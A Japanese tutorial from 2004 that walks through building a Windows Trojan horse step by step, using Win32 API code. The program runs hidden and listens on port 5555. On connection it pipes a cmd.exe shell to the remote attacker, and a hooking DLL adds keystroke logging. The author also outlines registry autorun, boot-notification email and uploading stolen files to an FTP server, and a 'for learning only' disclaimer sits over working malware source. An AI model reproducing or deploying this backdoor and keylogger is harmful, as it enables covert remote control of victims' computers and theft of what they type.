トロイの木馬を作ってみよう 〜Windows篇〜 ■0x01.) はじめに  Windows用の簡単なトロイの木馬を作ります。OSはWindowsXPを利用していま す。コンパイラはVC++.NETとVC++6.0で確認ずみです。それ以外は私自身使っ たことがないので分かりません。あとBCCでもOKだと思いますが、私はBCCで はコンソールプログラムしか書いたことがないのでこちらもちからになれませ ん。前提となる知識は、Windowsプログラミング(特にWin32API)に関してあ る程度の知識があることと、TCP/IPを利用したプログラムを組んだことがある こと(簡単なサーバを作ったことがあるなど)です。でもまぁこれはあくまで 目安ですので、ネットで調べながら読んでいけばなんとかなるかと(^^; あと、 これは実際のトロイの動作を学ぶため(勉強のため)に作るのであって、これ を利用して悪だくみを考えているわけでは決してありません。あくまで「学ぶ ため」でありそのほかの目的はありません。 ■0x02.) トロイの木馬とは  トロイの木馬とはデータ消去やファイルの外部流出、他のコンピュータの攻 撃などの破壊活動を行なうプログラムのこと。(中略)実行したとたん破壊活 動を始めるものもあるが、システムの一部として潜伏し、時間が経ってから 「発症」するものや、他のユーザがそのコンピュータを乗っ取るための「窓口」 として機能するものなどもある。(IT用語辞書e-Words (http://e-words.jp/)より)  これには「破壊活動を始めるものもある」と書かれていますが今回作るのは、 窓口としてポートを開くだけの簡単なものを作ります。 ■0x03.) 外部プロセスの起動  まず最初にプロセスやパイプなどの基本的な概念から学んでいきます。 CreateProcess関数は外部のプロセスを起動するために使います。これを利用 すると、例えばプログラムの中で他のプログラム(外部のプロセス)を実行す ることができ、しかもそのプログラムの起動や終了を確認することができます。 まずは簡単な使い方を示します。詳細はMSDNの CreateProcess (http://www.microsoft.com/japan/developer/library/jpwinpf/_win32_createprocess.htm) を参照してください。 ----- BOOL CreateProcess( LPCTSTR lpApplicationName, // 実行可能モジュールの名前 LPTSTR lpCommandLine, // コマンドラインの文字列 LPSECURITY_ATTRIBUTES lpProcessAttributes, // セキュリティ記述子 LPSECURITY_ATTRIBUTES lpThreadAttributes, // セキュリティ記述子 BOOL bInheritHandles, // ハンドルの継承オプション DWORD dwCreationFlags, // 作成のフラグ LPVOID lpEnvironment, // 新しい環境ブロック LPCTSTR lpCurrentDirectory, // カレントディレクトリの名前 LPSTARTUPINFO lpStartupInfo, // スタートアップ情報 LPPROCESS_INFORMATION lpProcessInformation // プロセス情報 ); -----  MSDNには上記のような定義が書かれてあります。lpApplicationNameは要す るに実行すべきプログラムの名前です。次のlpCommandLineはコマンドライン にわたす文字列であり、lpApplicationNameをNULLにして、これにプログラム 名を書いてもよいというかむしろこっちに書くべきです。なぜなら lpCommandLineにはプログラムにわたす引数も指定できるからです(引数を使 わないならどちらでもよいですが)。bInheritHandlesはTRUEでハンドルの継 承ですが基本的にTRUEにしておけば問題ないでしょう。lpCurrentDirectoryは 新しく生成されたプロセスのカレントディレクトリであり例えば"c:\","c:\us r\"などを設定します(間違えやすいものでソース上では'\'は'\\'で表現しま す)。つまりlpCommandLineが実行され生成されたプロセスのカレントディレク トリを指定できるわけです。lpStartupInfoにはプロセス作成に対するさまざま な情報を格納します。最後のlpProcessInformationは空のPROCESS_INFORMATION 構造体を渡せば、なんらかの情報を格納してくれます。他は基本的にNULLで構 いませんが、詳細を知りたい方はMSDNを参照してください。以下にこれを利用 した簡単なプログラムを示します。 (注:引数lpCurrentDirectoryの説明を訂正 2004/03/05) http://ruffnex.oc.to/kenji/src/trojan/CreateProcess.cpp ----- CreateProcess.cpp #define WIN32_LEAN_AND_MEAN #include #include using namespace std; void main(void) { STARTUPINFO SI; PROCESS_INFORMATION PI; ZeroMemory(&SI, sizeof(SI)); SI.cb = sizeof(SI); if(CreateProcess(NULL, "notepad", NULL, NULL, TRUE, 0, NULL, NULL, &SI, &PI) == 0){ cout << "ERROR..." << endl; exit(1); } CloseHandle(PI.hThread); cout << "START..." << endl; WaitForSingleObject( PI.hProcess, INFINITE ); cout << "END..." << endl; CloseHandle( PI.hProcess ); } -----  動作が分かりやすいようにコンソールプログラムにしました。コマンドプロ ンプトから実行してください。プログラムの簡単な説明をします。まずZeroMe mory関数はその名のとおりゼロ初期化します。Linuxではbzeroやmemsetを使い ますがWindowsではこちらを使います(もちろんmemsetはWindowsでも使えます)。 CreateProcess関数で外部のプロセス(ここではnotepad)を実行しています。 WaitForSingleObject関数でプロセスが終了するのを待ち、終了を確認したら"E ND..."を出力しこのプログラム自身も終了します。WaitForSingleObjectの第 二引数は待つ時間をミリ秒単位で指定できます。INFINITEを指定すると第一引 数のプロセスが終了するまで無限に待ちます。 ■0x04.) プロセスとパイプ  Windowsにはパイプという概念があります(もちろんLinuxにもありますが)。 例えばコマンドプロンプトで以下のように打ってみてください。 ----- C:\...\kenji> C:\...\kenji>help | more 特定のコマンドの詳細情報は、"HELP コマンド名" を入力してください ASSOC ファイル拡張子の関連付けを表示または変更します。 AT コマンドやプログラムを指定した日時に実行します。 ... ... DISKCOMP 2 つのフロッピー ディスクの内容を比較します。 -- More -- -----  するとhelpコマンドで出力された文字列で一画面が埋まってしまったらMore が機能して出力がストップします。helpとmoreは別々のコマンド(プログラム) であるはずなのにそれぞれの機能が働いています。この挙動から説明してみる とhelpで出力された文字列がmoreに渡されて、もし一画面が埋まってしまった らストップをかける。という処理が行われているようです。moreは別のプロセ ス(help)からのデータを取得している。つまり、それぞれ別のプロセス同士 (このばあいはhelpとmore)がパイプで繋がれているということです。ではプ ログラムを書いてみます。 http://ruffnex.oc.to/kenji/src/trojan/CreatePipe.cpp ----- case WM_CREATE: if((MainMemory = (char *)VirtualAlloc( NULL, TEXT_SIZE, MEM_COMMIT, PAGE_READWRITE)) == NULL){ MessageBox(hWnd, "必要な領域を確保できませんでした", "Error", MB_OK); DestroyWindow(hWnd); } GetClientRect(hWnd, &rect); hEditWindow = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | ES_WANTRETURN | ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL | ES_AUTOHSCROLL | WS_HSCROLL, 0, 0, rect.right, rect.bottom, hWnd, NULL, hInst, NULL); SendMessage(hEditWindow, EM_SETLIMITTEXT, (WPARAM)TEXT_SIZE, 0); CreatePipeTest(hEditWindow, MainMemory); break; -----  まずWM_CREATEが呼ばれたらメモリを確保します。このメモリはプログラム の最初でdefineされているTEXT_SIZEの領域だけ確保します。メモリ開放は WM_DESTROY(つまりプログラムの終了)のところで行っています。この確保し たメモリ領域とまったく同じデータが書き込めるテキスト領域(メモ帳のよう にテキストが入力できるWindow)を作成します。それがCreateWindowですね。 そのあとパイプの実験を行う関数CreatePipeTestを呼びます。CreatePipeTest の引数はいま作ったテキスト領域と確保したメモリのポインタです。では次は CreatePipeTest関数に行きます。 ----- CreatePipe(&pfd_out[R], &pfd_out[W], &SA, 0); DuplicateHandle(hParent, pfd_out[R], hParent, &fd_write, 0, FALSE, DUPLICATE_SAME_ACCESS); CloseHandle(pfd_out[R]); -----  まずはCreatePipeによりpfd_out配列の二つのデータをそれぞれREAD,WRITE とします。READの方をfd_writeに複写してCloseHandleで閉じます。これで 「pfd_out[W]」と「fd_write」がパイプでつながったことになります。次の3 行も同じです。CreatePipeによりpfd_err配列の二つをそれぞれREAD,WRITEと します。READの方をfd_errに複写して閉じます。これで同じく「pfd_err[W]」 と「fd_err」がつながったことになります。 ----- CreatePipe(&pfd_in[R], &pfd_in[W], &SA, 0); DuplicateHandle(hParent, pfd_in[W], hParent, &fd_read, 0, FALSE, DUPLICATE_SAME_ACCESS); CloseHandle(pfd_in[W]); -----  そしてここも同じですね。CreatePipeによりpfd_in配列の二つのデータをそ れぞれREAD,WRITEとし、今度はWRITEの方はfd_readに複写して閉じます。これ で「pfd_in[R]」と「fd_read」がつながったことになります。 ----- STARTUPINFO SI; ZeroMemory(&SI, sizeof(SI)); SI.cb = sizeof(SI); SI.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; SI.wShowWindow = SW_HIDE; SI.hStdInput = pfd_in[R]; SI.hStdOutput = pfd_out[W]; SI.hStdError = pfd_err[W]; -----  CreateProcessに渡す情報を設定しています。ここで、fd_read, fd_write, fd_errのそれぞれとパイプで繋がっているpfd_out[W], pfd_err[W], pfd_in[R]が設定されています。これらはそれぞれ新しく生成されるプロセス の標準入出力を担当させます。SI.wShowWindowはWindowとして表示するかどう かでSW_HIDEを指定すると表示させません(内部で処理されます)。このよう な設定をもたせてプロセスを生成するわけです。  CreateProcessでプロセスが生成されてcmd.exe(コマンドプロンプト)が実 行されます。もちろんcmd.exeは別のプロセスですよね。しかし、fd_readと生 成されたプロセスの標準入力(pfd_in[R])はパイプで繋がれています。よって ----- DWORD Len; WriteFile(fd_read, "dir\r\n", 5, &Len, NULL); WriteFile(fd_read, "exit\r\n", 6, &Len, NULL); ----- WriteFile関数でfd_readに文字列を書き込むと、別プロセスであるcmd.exeの 標準入力(pfd_in[R])に文字列が書き込まれることになります。ということは ----- ReadFile(fd_write, MainMemory, TEXT_SIZE - 1, &Len, NULL); MainMemory[Len] = '\0'; ----- このようにReadFileを使って標準出力のデータを取得することも可能であると いうことです。つまりパイプを利用するとプロセス同士でのデータのやり取り が可能になるということです。 ■0x05.) スレッド  スレッドとはプログラム上で動作するある特定の処理のことをいい、複数の 処理を同時に実行するしくみです。もちろん実際にCPUが同時に実行してるわ けではありませんが概念としてはこういう理解でよいと思います。  「プロセスとスレッドはどう違うのか?」という疑問に対して(かなり)簡 単に説明します。詳細は別で調べてください(それぞれかなり奥が深いので)。 スレッドとはひとつのプロセスの中で複数の処理を同時に実行する仕組みです。 つまり、まずプログラムが実行されるとプロセスが生成されそしてその中でひ とつ以上のスレッドが生成されます。よってスレッドはプロセスの中で別々に 処理されるしくみということですので、データが共有されます。プロセス同士 はそれぞれ完全に独立したメモリ空間を持ちますが(Windows9x系は例外です) スレッド同士は同じプロセスですのでメモリ空間を共有します。つまりあるス レッドがa=5;という式を実行したら「同じプロセス内のすべてのスレッドに影 響を及ぼす」ということです。 (注意:もしかしたら上記の認識は間違ってるかもしれません^^; ただ考え 方としてはこんな感じでよいと思います。)  ここでのサンプルでは常にマウスの位置を取得し続けるスレッドを作成した いと思います。リアルタイムでマウスの位置をWindowに出力します。 http://ruffnex.oc.to/kenji/src/trojan/CreateThread.cpp  長々とスケルトンが生成してくれたWindow描画処理が続きます。そして WM_CREATEを見てみます。 ----- Data.hEditWindow = hEditWindow; Data.hWnd = hWnd; Data.ExeFlag = TRUE; DWORD ID; if((Thread = CreateThread(NULL, 0, MyThread, (LPVOID)&Data, 0, &ID)) == NULL){ MessageBox(hWnd, "スレッドが作成できませんでした", "Error", MB_OK); DestroyWindow(hWnd); } break; -----  WM_CREATE内です。適当なデータをいれてスレッドを生成しています。 Data.ExeFlagはスレッドのwhileループを抜けさせるために使用します。とり あえずCreateThreadの説明をします。 ----- HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, // セキュリティ記述子 DWORD dwStackSize, // 初期のスタックサイズ LPTHREAD_START_ROUTINE lpStartAddress, // スレッドの機能 LPVOID lpParameter, // スレッドの引数 DWORD dwCreationFlags, // 作成オプション LPDWORD lpThreadId // スレッド識別子 ); -----  MSDN CreateThread (http://www.microsoft.com/japan/developer/library/jpwinpf/_win32_createthread.htm) には上記のように定義されています。まず最初のlpThreadAttributesは「NULL を指定すると、既定のセキュリティ記述子がこのスレッドに適用されます。」 と書かれてあるので、NULLで問題ないでしょう。dwStackSizeも'0'をいれてい けば既定のサイズとして割り当ててくれるらしいので'0'にしときます。 lpStartAddressは「LPTHREAD_START_ROUTINE 型のアプリケーション定義関数 へのポインタを指定します。この関数は新しいスレッドで実行されるものであ り、同時に新しいスレッドの開始アドレスを指定します。」とあるので、実行 したい関数のポインタを設定しましょう。lpParameterは関数に渡す引数です ね。複数の引数を渡したいばあいは構造体のポインタなどを利用しましょう。 dwCreationFlagsは「このパラメータで 0 を指定すると、作成と同時に新しい スレッドが動作します。」とあるので'0'にしときましょう。最後の lpThreadIdはスレッド識別子らしいですが、まぁDWORD型のポインタを渡しと けば問題ないでしょう。 ----- DWORD WINAPI MyThread(LPVOID pData) { DATA *Data = (DATA *)pData; char string[32]; POINT pt; while(Data->ExeFlag){ GetCursorPos(&pt); InvalidateRect(Data->hWnd , NULL, FALSE); wsprintf(string, "%d : %d", pt.x, pt.y); Edit_SetText(Data->hEditWindow, string); Sleep(100); } return 0; } -----  MyThread関数です。CreateThreadから生成されて実行される関数ですね。引 数は構造体ポインタとしてもらってきてます。Data->ExeFlagはWM_DESTROYで 初めてFALSEになるので、終了するまでwhileの中にいることになります。これ は見ればわかりますがマウスの位置を取得して表示しています。Sleep(100)な ので表示間隔は0.1秒ですね。もしスレッドを利用していなかったらプログラ ムがこのWhileでループしつづけるので、メッセージを受け取れなくなり Windowの移動や大きさの変更などができなくなり、ばあいによっては(ただで さえWindowsは不安定なので)応答無しと判断され強制終了し、「エラーをMS サーバに送りますか」などというふざけたダイアログがでるかもしれません。 私はXPを使っているのですが、正直このダイアログだけはどうにかしてほしい です(^^; しかしスレッドとして別に処理を行っているので通常のメッセージ も受け取りながらマウスの位置をリアルタイムで取得できるわけです。 ----- case WM_DESTROY: Data.ExeFlag = FALSE; WaitForSingleObject(Thread, 3000); CloseHandle(Thread); PostQuitMessage(0); break; -----  ここは終了処理ですね。Data.ExeFlagをFALSEにしてMyThread関数をwhileか ら抜け出させ終了させます。そのあとWaitForSingleObjectで待ちCloseHandle で終了処理をほどこしてプログラムを終わります。WaitForSingleObjectの第 二引数はINFINITEを指定すると終了を確認するまで無限に待つわけですが、万 が一なんらかの理由でスレッドが終了しなかったばあい、ここで処理が止まり プログラム自体がフリーズしてしまう恐れがあるので3秒だけ待って、もし終 了が確認できなかったら無視します。 ■0x06.) 簡易トロイの木馬  ではこれまでのピースを集めてきます。基本的にサーバとして起動させます。 もちろんこっそりと起動させなければいけないのでWindowは非表示にしなけれ ばなりませんがこれはShowWindowなどをコメントアウトすればよいので簡単で す。起動させたらまずはソケットを開きacceptで待ちます。ポートはどこでよ いですので適当に決めてください。接続要求がきたら(攻撃者が接続してくる) CreateProcessにより新しいプロセスを作りcmd.exe(コマンドプロンプト)を 実行します。そしてコマンドプロンプトの標準入出力とソケットをパイプで繋 ぎます。これで攻撃者側から送信されたデータはそのままコマンドプロンプト の標準入力に渡さるようにします。標準出力のデータはスレッドを利用し、リ アルタイムでクライアント(攻撃者)に渡されるようにします。あとはやりた い放題! わしょーい! ...と、概略はこんな感じです。ではソースを見て ください。 http://ruffnex.oc.to/kenji/src/trojan/trojan01.cpp ----- case WM_CREATE: if((sListen = WaitConnect(hWnd)) == -1){ DestroyWindow(hWnd); } Data.acceptFlag = TRUE; break; -----  まず最初に、サーバとして稼動させるためにポートを開きます。 Data.acceptFlagはクライアントが接続できるかどうかで、FALSEなら「できな い」TRUEなら「できる」です。逆にいえばFALSEなら接続状態であり、TRUEな ら待ち状態です。最初は待ちなのでTRUEにします。WaitConnect関数はシンプ ルなので説明はしません。単純にサーバとしてソケットを作成してるだけです。 ----- case FD_ACCEPT: AcceptConnect(sListen, &Data); break; -----  FD_ACCEPTは接続要求がきたときに実行されます。AcceptConnect関数で accept関数を呼び出して対応させます。 ----- BOOL AcceptConnect(SOCKET sListen, DATA *Data) { SOCKET sock_tmp; SOCKADDR_IN Client; int ClientLen = sizeof(Client); if((sock_tmp = accept(sListen, (LPSOCKADDR)&Client, &ClientLen)) == INVALID_SOCKET){ return TRUE; } if(Data->acceptFlag){ Data->acceptFlag = FALSE; Data->sock = sock_tmp; }else{ closesocket(sock_tmp); return TRUE; } -----  Data->acceptFlagの値により接続要求を受け付けるか拒否するかを決めます。 別のクライアントが接続中ならFALSEになっているのでそのまま新しく接続し てきたクライアントのソケットは無条件で閉じます。待ち状態だったならTRUE なのでソケットをData->sockにコピーして処理を続けます。 ----- send(Data->sock, START_STRING, (int)strlen(START_STRING), 0); -----  接続が確立したことを示す文字列をクライアントに送信します。その後のソ ースはプロセスとパイプの生成処理です。これは説明ずみなのではぶきます。 そしてそのパイプを利用して標準出力を取得する処理が以下です。 ----- DWORD len; char buf[256]; ReadFile(Data->fd_write, buf, sizeof(buf), &len, NULL); char *p; if((p = strchr(buf, '>')) != NULL){ *(p + 1) = '\0'; send(Data->sock, buf, (int)strlen(buf), 0); } -----  特に問題ないでしょう。'>'が発見されるまでの文字列をクライアントに送 ります(DOSは"c:\kenji>"というような感じでコマンドを受け付けますので' >'までを表示させるようにします)。発見できなかったばあいは無視します (なんらかのエラーかもしれませんけどね)。 ----- Data->ThreadFlag = TRUE; DWORD ThreID; if((Data->hThread = CreateThread(NULL, 0, OutputToSocket, (LPVOID)Data, 0, &ThreID)) == NULL){ DWORD len; WriteFile(Data->fd_read, "exit\r\n", 6, &len, NULL); FlushFileBuffers(Data->fd_read); WaitForSingleObject(Data->PI.hProcess, 3000); CloseHandle(Data->PI.hProcess); CloseHandle(Data->fd_read); CloseHandle(Data->fd_write); return TRUE; } return FALSE; } -----  スレッドの生成ですね。Data->ThreadFlagはOutputToSocket関数をみてくだ さい。OutputToSocketの終了を制御するフラグです。もしCreateThreadでエラ ーがでたばあいはさっき作ったプロセスも終了させなければいけないので"exit" 文字列を送りcmd.exeを終了させています。 ----- case FD_READ: ReadConnect(&Data, hWnd); break; -----  FD_READは受信バッファにデータが溜まったときに実行されます。 ----- void ReadConnect(DATA *Data, HWND hWnd) { char c; DWORD len; recv(Data->sock, &c, 1, 0); WriteFile(Data->fd_read, &c, 1, &len, NULL); FlushFileBuffers(Data->fd_read); return; } -----  シンプルですね。受信バッファに溜まっているデータを1バイト読み込んで 標準入力に出力しています。 ----- DWORD WINAPI OutputToSocket(LPVOID lpvoid) { DATA *Data = (DATA *)lpvoid; DWORD len; char buf[1024]; while(Data->ThreadFlag){ if(ReadFile(Data->fd_write, &buf, sizeof(buf), &len, NULL) != FALSE){ if(len > 0){ send(Data->sock, buf, len, 0); } } } return 0; } -----  CreateThreadで生成されるスレッドの処理です。標準出力からデータを取得 してクライアントに送信しています。この処理はリアルタイムで行われます。 ----- case FD_CLOSE: CloseConnect(&Data); Data.acceptFlag = TRUE; break; -----  切断要求がきたときに実行されます。CloseConnectは後始末を担当していま す。スレッドを終了させたり、プロセス(cmd.exe)を終了させたりさまざま なハンドルを閉じたり、初期状態にして次の接続を待ちます。ここで Data.acceptFlagをTRUEにして再び待ち状態にさせます。では、とりあえずこ こまでで重要な関数の説明をしたので、ここでこのプログラム全体のおおまか な概要を示します(図1)。 +----------------------------+ | cmd.exe | (プロセス2) +----------------------------+ ↑入力 ↓出力 +---------+ +----------------+ | WinMain | | OutputToSocket | (プロセス1) +---------+ *----------------+ ↑送信 ↓受信 +----------------------------+ | クライアント | +----------------------------+ (図1)  最初はWinMainだけですが、クライアントの接続要求をうけた直後 (AcceptConnect関数)からプロセス2(cmd.exe)とスレッドOutputToSocket を生成します。WinMainとOutputToSocketはそれぞれリアルタイムでクライア ントとcmd.exeの橋渡しをします。入力(送信)はメッセージFD_READとして WinMainに処理させて、出力(受信)はスレッドでリアルタイムで監視という かたちになります。このようにして"cmd.exe"をそのまま利用できるサービス を実現しています(サービスという言い方は違うような気もしますが)。そし て切断処理が行われると同時にプロセス2(cmd.exe)とスレッド OutputToSocketを終了させて、再びWinMainだけとなりクライアントの接続要 求を待つ。という風になります。  これで説明は終わりました。では実行してみてください。HIDEをdefineする とWindowを非表示にしますが、終了させるのがめんどくさくなるので基本的に 表示させといたほうがよいです。起動させたら別Windowでコマンドプロンプト を起動させてtelnetでポート5555番に接続してみてください。 ----- C:\Documents and Settings\kenji>telnet loclalhost 5555 connection ok! (C) Copyright 1985-2008 Microsoft Corp. c:\>dir dir ドライブ C のボリューム ラベルは Windows XP 2008 です ボリューム シリアル番号は ZZ88-ZZDD です c:\ のディレクトリ 2008/12/08 21:07 0 AUTOEXEC.BAT 2008/12/08 21:07 0 CONFIG.SYS 2008/12/18 20:14 Documents and Settings 2008/12/08 19:46 My Music 2008/01/08 16:08 Program Files 2008/02/08 23:54 WINDOWS 2008/12/08 14:46 WinXP 2 個のファイル 0 バイト 5 個のディレクトリ 9,999,999,999 バイトの空き領域 c:\> -----  見事、telnetからポート5555に接続しcmd.exeを利用できるようになってい ます。これでDOSコマンドは打てるので、どんなイタズラができるのかはhelp コマンドを参照してください(^^; ■0x07.) 機能追加を考える  これで簡単なトロイの木馬はできたのですが、こうなると今度はいろいろと 機能を追加していこうと考えるはずです(考えますよね^^;)。トロイの機能 といえば、例えばファイルをDLできるようにするとか、キーログをとるとか、 ターゲットPCが起動したときにトロイが実行されるようにするとか、さらに 自分宛にターゲットPCの起動を知らせるメールを送信するとか、まぁいろい ろとあります。起動と同時にトロイを実行させるのはレジストリをいじればい いので簡単ですね。メールも起動と同時にSMTPを利用して送信すればいいので 問題ないです。ファイルDLはFTPサーバとして動作させないといけないので ちょっとメンドクサイですがWinInetを利用してFTPクライアントとしてどこぞ のFTPサーバ(例えば自分のHPとか)にファイルをUPさせるようにすれば 容易に実現できます。キーログもフックを使えばよいので特に難しくはないで しょう。  ということでどれも実現できそうなものなのです、残念ながら全部実装する ような根気や時間は私にはありません(^^; ということで今回はこの中からひ とつ選びキーログを実装してみました。キーのログファイルもtypeコマンドで 閲覧できるので以外にお買い得です(お買い得って...)。 ■0x08.) KeyLogger  キーログ機能はフックを使って実現します。キー入力をDLL側から監視する ことによってアプリケーション外のメッセージ(キー入力)を横取りします。 よってここからはDLLの作成方法に関する知識が必要になります。 SetWindowsHookEx関数の定義は以下です。 ----- HHOOK SetWindowsHookEx( int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId ); -----  idHookがフックのタイプ(WH_KEYBOARD, WH_GETMESSAGE, WH_MOUSE, WH_MSGFILTER etc...)、lpfnが横取りしたデータを渡す関数(プロシージャ) へのポインタ。hModはDLLのインスタンスハンドル、dwThreadIdはスレッドI Dであり、'0'にするとすべてのスレッドがフックされます。戻り値はフック ハンドル。 ----- BOOL UnhookWindowsHookEx( HHOOK hhk ); -----  こっちはフックを解除する関数です。フックハンドルを渡すだけです。では これらを利用してキー入力のフックを担当するDLLを作ります。 http://ruffnex.oc.to/kenji/src/trojan/keyhook.h http://ruffnex.oc.to/kenji/src/trojan/hookDll.cpp ----- case DLL_PROCESS_ATTACH: ghInst = (HINSTANCE)hModule; LPCTSTR szWindowClass = TEXT(CLASS_NAME); LPCTSTR szTitle = TEXT(TITLE_NAME); if((hWnd = FindWindow(szWindowClass, szTitle)) == NULL){ return TRUE; } break; -----  最初にクラス名とタイトル名からFindWindowを使ってWindowハンドルを見つ けます。キー入力を感知したら、これに向けてSendMessageでメッセージを飛 ばします。DLLの処理は基本的にこれだけで、FindWindowでみつけたWindowに 向けて横取りしたメッセージ(キー入力)を送信するだけです。他はフックを セットもしくは解除する関数です。  DLLファイルの作成方法を理解していれば特に問題ないでしょうけれど一応 使い方を説明します。コンパイルすると.dllと.libファイルが出来上がるので DLLファイルを実行ファイル(trojan02.exe)と同じディレクトリにコピーし、 さらにコンパイル時にLIBファイルをリンクします。そして"keyhook.h"も includeしなければなりません。 http://ruffnex.oc.to/kenji/src/trojan/trojan02.cpp  そして、これがHookDll.dllを利用してキーログ機能を追加した最終的なプ ログラムです。といっても少し書き加えた程度なので読んでみてください。 WM_KEYHOOKを受け取ってその値を保存しているだけです。ファイル操作に CreateFile関数やWriteFile関数を利用していますが、もちろんfopenやfwrite などを利用してもなんら問題ありません。どちらが速いかは分かりませんが (どちらかというとfopenなどの方がよさそうですが)まぁこれはテスト的な ものなのでどちらでもいいでしょう。  まだまだ機能が少なく実用的ではありませんが、かたちとしては一応これで 完成とします。今回のトロイはcmd.exeの橋渡しをするだけのシンプルなもの でしたが、自分でいろんな機能を実装していけばさらに楽しめるかと思います。 しかもこのトロイはnetstatコマンドに見つかってしまうという致命的なヘボ さも持ち合わせておりますのでこのへんもまだまだ改良の余地があります(^^; ■0x09.) 最後に  さて、いかがだったでしょうか。今までの私の記事と比べると少し難易度が 高めになってますけれど、ネットワーク関連のプログラムを知っていればさほ ど難しくはないと思います。ちなみにタイトルが「〜Windows篇〜」となって いますが、いつの日かLinux篇も書いてみようかなと考えておりますが「いつ の日か」ですのであまり期待しないで待っててください(^^; さて、最後にな りましたがここまで付き合って読んでくださった方本当に有り難うございまし た。 では、また会う日まで... ■0x0A.) 参考文献  猫でもわかるネットワークプログラミング 粂井康孝 著  ハッカー・プログラミング大全 UNYUN 著 End. written by kenji aiko 2004/02/15 2004/03/05 一部訂正 Copyright (C) 2004 kenji aiko All Rights Reserved